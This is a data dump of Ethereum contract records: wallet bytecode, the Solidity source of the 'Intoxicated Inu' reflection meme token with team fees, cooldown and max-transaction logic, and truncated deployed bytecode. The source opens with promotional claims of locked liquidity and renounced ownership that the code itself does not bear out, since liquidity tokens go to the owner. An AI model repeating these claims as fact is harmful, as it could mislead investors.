0020a036024351661082b565b34801561026757600080fd5b5061027061084b565b60408051918252519081900360200190f35b34801561028e57600080fd5b5061027060043515156024351515610885565b3480156102ad57600080fd5b506102706108f1565b3480156102c257600080fd5b506102706108f7565b3480156102d757600080fd5b50610193600160a060020a03600435166108fd565b3480156102f857600080fd5b50610223600435610a1a565b34801561031057600080fd5b50610270600435610a9e565b34801561032857600080fd5b50610334600435610b0d565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610399578181015183820152602001610381565b50505050905090810190601f1680156103c65780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156103e357600080fd5b506103ec610bcb565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610428578181015183820152602001610410565b505050509050019250505060405180910390f35b34801561044857600080fd5b506103ec60043560243560443515156064351515610c2d565b34801561046d57600080fd5b506103ec600435610d66565b34801561048557600080fd5b50610270610edf565b34801561049a57600080fd5b50610193600435610ee5565b3480156104b257600080fd5b50610193600435610f5c565b3480156104ca57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610270948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506110279650505050505050565b34801561053357600080fd5b50610193600435611046565b34801561054b57600080fd5b5061027061108d565b34801561056057600080fd5b50610270611092565b34801561057557600080fd5b50610193600160a060020a0360043581169060243516611098565b34801561059c57600080fd5b50610193600435611222565b3480156105b457600080fd5b506102706113e9565b60038054829081106105cb57fe5b600091825260209091200154600160a060020a0316905081565b60003330146105f357600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561061c57600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106f75782600160a060020a031660038381548110151561066657fe5b600091825260209091200154600160a060020a031614156106ec5760038054600019810190811061069357fe5b60009182526020909120015460038054600160a060020a0390921691849081106106b957fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506106f7565b60019091019061063f565b60038054600019019061070a9082611527565b5060035460045411156107235760035461072390610ee5565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff16151561077a57600080fd5b60008281526001602090815260408083203380855292529091205483919060ff1615156107a657600080fd5b600084815260208190526040902060030154849060ff16156107c757600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b600060075462015180014211156108655750600654610882565b600854600654101561087957506000610882565b50600854600654035b90565b6000805b6005548110156108ea578380156108b2575060008181526020819052604090206003015460ff16155b806108d657508280156108d6575060008181526020819052604090206003015460ff165b156108e2576001820191505b600101610889565b5092915050565b60065481565b60075481565b33301461090957600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561093157600080fd5b81600160a060020a038116151561094757600080fd5b600380549050600101600454603282118061096157508181115b8061096a575080155b80610973575081155b1561097d57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610a975760008481526001602052604081206003805491929184908110610a4857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a7c576001820191505b600454821415610a8f5760019250610a97565b600101610a1f565b5050919050565b6000805b600354811015610b075760008381526001602052604081206003805491929184908110610acb57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610aff576001820191505b600101610aa2565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610bb85780601f10610b8d57610100808354040283529160200191610bb8565b820191906000526020600020905b815481529060010190602001808311610b9b57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610c2357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c05575b5050505050905090565b606080600080600554604051908082528060200260200182016040528015610c5f578160200160208202803883390190505b50925060009150600090505b600554811015610ce657858015610c94575060008181526020819052604090206003015460ff16155b80610cb85750848015610cb8575060008181526020819052604090206003015460ff165b15610cde57808383815181101515610ccc57fe5b60209081029091010152600191909101905b600101610c6b565b878703604051908082528060200260200182016040528015610d12578160200160208202803883390190505b5093508790505b86811015610d5b578281815181101515610d2f57fe5b9060200190602002015184898303815181101515610d4957fe5b60209081029091010152600101610d19565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610d9b578160200160208202803883390190505b50925060009150600090505b600354811015610e585760008581526001602052604081206003805491929184908110610dd057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610e50576003805482908110610e0b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610e3157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610da7565b81604051908082528060200260200182016040528015610e82578160200160208202803883390190505b509350600090505b81811015610ed7578281815181101515610ea057fe5b906020019060200201518482815181101515610eb857fe5b600160a060020a03909216602092830290910190910152600101610e8a565b505050919050565b60055481565b333014610ef157600080fd5b600354816032821180610f0357508181115b80610f0c575080155b80610f15575081155b15610f1f57600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610f7a57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f9f57600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610fca57600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a361102085611222565b5050505050565b60006110348484846113ef565b905061103f81610f5c565b9392505050565b33301461105257600080fd5b60068190556040805182815290517fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca29181900360200190a150565b603281565b60045481565b60003330146110a657600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615156110cf57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16156110f757600080fd5b600092505b6003548310156111885784600160a060020a031660038481548110151561111f57fe5b600091825260209091200154600160a060020a0316141561117d578360038481548110151561114a57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611188565b6001909201916110fc565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b6000818152602081905260408120600301548190839060ff161561124557600080fd5b6000848152602081905260409020925061125e84610a1a565b915081806112915750600280840154600019610100600183161502011604158015611291575061129183600101546114df565b156113e35760038301805460ff191660011790558115156112bb5760018301546008805490910190555b8260000160009054906101000a9004600160a060020a0316600160a060020a0316836001015484600201604051808280546001816001161561010002031660029004801561134a5780601f1061131f5761010080835404028352916020019161134a565b820191906000526020600020905b81548152906001019060200180831161132d57829003601f168201915b505091505060006040518083038185875af192505050156113955760405184907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26113e3565b60405184907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038301805460ff191690558115156113e3576001830154600880549190910390555b50505050565b60085481565b600083600160a060020a038116151561140757600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff191694169390931783555160018301559251805194965091939092611487926002850192910190611550565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b600060075462015180014211156114fa574260075560006008555b600654826008540111806115115750600854828101105b1561151e57506000611522565b5060015b919050565b81548183558181111561154b5760008381526020902061154b9181019083016115ce565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061159157805160ff19168380011785556115be565b828001600101855582156115be579182015b828111156115be5782518255916020019190600101906115a3565b506115ca9291506115ce565b5090565b61088291905b808211156115ca57600081556001016115d45600a165627a7a72305820d036d02e9e95733bf04d40d63b6ec6d57a9bf5938ce3394484700d7c54c7ba2a0029
|
{"success": true, "error": null, "results": {}}
| 2,623 |
0xffce3c7340e952caee3f3f26251e70646b56159e
|
/*
Straight out of a scottish bar, a totally intoxicated Shiba shows himself on the Uniswap scene.
t.me/intoxicatedshiba
Anti Bot measures
Max TX
Rewarding reflection to holders
Tiny developer fee
Locked Liquidity (1 year)
Renounced Ownership
Telegram will be muted untill launch.
*/
// SPDX-License-Identifier: None
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract INTOXINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Intoxicated Inu🥃";
string private constant _symbol = unicode"INTOXINU🥃";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 9;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 9;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (45 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c3c8cd8011610059578063c3c8cd80146102cc578063c9567bf9146102e1578063d543dbeb146102f6578063dd62ed3e1461031657600080fd5b8063715018a61461023a5780638da5cb5b1461024f57806395d89b4114610277578063a9059cbb146102ac57600080fd5b8063313ce567116100c6578063313ce567146101c75780635932ead1146101e35780636fc3eaec1461020557806370a082311461021a57600080fd5b806306fdde0314610103578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a757600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526013815272496e746f7869636174656420496e75f09fa58360681b60208201525b60405161014891906117e7565b60405180910390f35b34801561015d57600080fd5b5061017161016c36600461173f565b61035c565b6040519015158152602001610148565b34801561018d57600080fd5b50683635c9adc5dea000005b604051908152602001610148565b3480156101b357600080fd5b506101716101c23660046116ff565b610373565b3480156101d357600080fd5b5060405160098152602001610148565b3480156101ef57600080fd5b506102036101fe36600461176a565b6103dc565b005b34801561021157600080fd5b5061020361042d565b34801561022657600080fd5b5061019961023536600461168f565b61045a565b34801561024657600080fd5b5061020361047c565b34801561025b57600080fd5b506000546040516001600160a01b039091168152602001610148565b34801561028357600080fd5b5060408051808201909152600c81526b494e544f58494e55f09fa58360a01b602082015261013b565b3480156102b857600080fd5b506101716102c736600461173f565b6104f0565b3480156102d857600080fd5b506102036104fd565b3480156102ed57600080fd5b50610203610533565b34801561030257600080fd5b506102036103113660046117a2565b6108fa565b34801561032257600080fd5b506101996103313660046116c7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103693384846109cd565b5060015b92915050565b6000610380848484610af1565b6103d284336103cd85604051806060016040528060288152602001611987602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f03565b6109cd565b5060019392505050565b6000546001600160a01b0316331461040f5760405162461bcd60e51b81526004016104069061183a565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461044d57600080fd5b4761045781610f3d565b50565b6001600160a01b03811660009081526002602052604081205461036d90610fc2565b6000546001600160a01b031633146104a65760405162461bcd60e51b81526004016104069061183a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610369338484610af1565b600c546001600160a01b0316336001600160a01b03161461051d57600080fd5b60006105283061045a565b905061045781611046565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104069061183a565b600f54600160a01b900460ff16156105b75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610406565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105f43082683635c9adc5dea000006109cd565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066591906116ab565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ad57600080fd5b505afa1580156106c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e591906116ab565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561072d57600080fd5b505af1158015610741573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076591906116ab565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306107958161045a565b6000806107aa6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561080d57600080fd5b505af1158015610821573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061084691906117ba565b5050600f8054673afb087b8769000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108be57600080fd5b505af11580156108d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f69190611786565b5050565b6000546001600160a01b031633146109245760405162461bcd60e51b81526004016104069061183a565b600081116109745760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610406565b610992606461098c683635c9adc5dea00000846111eb565b9061126a565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610a2f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610406565b6001600160a01b038216610a905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610406565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610406565b6001600160a01b038216610bb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610406565b60008111610c195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610406565b6000546001600160a01b03848116911614801590610c4557506000546001600160a01b03838116911614155b15610ea657600f54600160b81b900460ff1615610d2c576001600160a01b0383163014801590610c7e57506001600160a01b0382163014155b8015610c985750600e546001600160a01b03848116911614155b8015610cb25750600e546001600160a01b03838116911614155b15610d2c57600e546001600160a01b0316336001600160a01b03161480610cec5750600f546001600160a01b0316336001600160a01b0316145b610d2c5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610406565b601054811115610d3b57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610d7d57506001600160a01b0382166000908152600a602052604090205460ff16155b610d8657600080fd5b600f546001600160a01b038481169116148015610db15750600e546001600160a01b03838116911614155b8015610dd657506001600160a01b03821660009081526005602052604090205460ff16155b8015610deb5750600f54600160b81b900460ff165b15610e39576001600160a01b0382166000908152600b60205260409020544211610e1457600080fd5b610e1f42602d6118df565b6001600160a01b0383166000908152600b60205260409020555b6000610e443061045a565b600f54909150600160a81b900460ff16158015610e6f5750600f546001600160a01b03858116911614155b8015610e845750600f54600160b01b900460ff165b15610ea457610e9281611046565b478015610ea257610ea247610f3d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610ee857506001600160a01b03831660009081526005602052604090205460ff165b15610ef1575060005b610efd848484846112ac565b50505050565b60008184841115610f275760405162461bcd60e51b815260040161040691906117e7565b506000610f348486611936565b95945050505050565b600c546001600160a01b03166108fc610f5783600261126a565b6040518115909202916000818181858888f19350505050158015610f7f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9a83600261126a565b6040518115909202916000818181858888f193505050501580156108f6573d6000803e3d6000fd5b60006006548211156110295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610406565b60006110336112d7565b905061103f838261126a565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110f057600080fd5b505afa158015611104573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112891906116ab565b8160018151811061114957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461116f91309116846109cd565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a890859060009086903090429060040161186f565b600060405180830381600087803b1580156111c257600080fd5b505af11580156111d6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826111fa5750600061036d565b60006112068385611917565b90508261121385836118f7565b1461103f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610406565b600061103f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112fa565b806112b9576112b9611328565b6112c484848461134b565b80610efd57610efd600560085560098055565b60008060006112e4611442565b90925090506112f3828261126a565b9250505090565b6000818361131b5760405162461bcd60e51b815260040161040691906117e7565b506000610f3484866118f7565b6008541580156113385750600954155b1561133f57565b60006008819055600955565b60008060008060008061135d87611484565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061138f90876114e1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113be9086611523565b6001600160a01b0389166000908152600260205260409020556113e081611582565b6113ea84836115cc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061145e828261126a565b82101561147b57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114a18a6008546009546115f0565b92509250925060006114b16112d7565b905060008060006114c48e87878761163f565b919e509c509a509598509396509194505050505091939550919395565b600061103f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f03565b60008061153083856118df565b90508381101561103f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610406565b600061158c6112d7565b9050600061159a83836111eb565b306000908152600260205260409020549091506115b79082611523565b30600090815260026020526040902055505050565b6006546115d990836114e1565b6006556007546115e99082611523565b6007555050565b6000808080611604606461098c89896111eb565b90506000611617606461098c8a896111eb565b9050600061162f826116298b866114e1565b906114e1565b9992985090965090945050505050565b600080808061164e88866111eb565b9050600061165c88876111eb565b9050600061166a88886111eb565b9050600061167c8261162986866114e1565b939b939a50919850919650505050505050565b6000602082840312156116a0578081fd5b813561103f81611963565b6000602082840312156116bc578081fd5b815161103f81611963565b600080604083850312156116d9578081fd5b82356116e481611963565b915060208301356116f481611963565b809150509250929050565b600080600060608486031215611713578081fd5b833561171e81611963565b9250602084013561172e81611963565b929592945050506040919091013590565b60008060408385031215611751578182fd5b823561175c81611963565b946020939093013593505050565b60006020828403121561177b578081fd5b813561